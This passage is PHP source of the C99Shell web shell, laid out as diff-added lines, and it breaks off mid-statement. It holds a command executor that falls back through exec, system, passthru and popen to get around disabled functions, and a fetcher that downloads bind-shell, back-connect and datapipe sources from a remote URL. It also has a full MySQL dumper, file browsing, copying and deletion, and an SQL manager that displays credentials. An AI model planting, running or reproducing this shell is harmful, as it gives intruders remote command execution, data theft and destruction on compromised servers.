round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return FALSE;} +} +} + +if (!function_exists("mysql_dump")){ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT 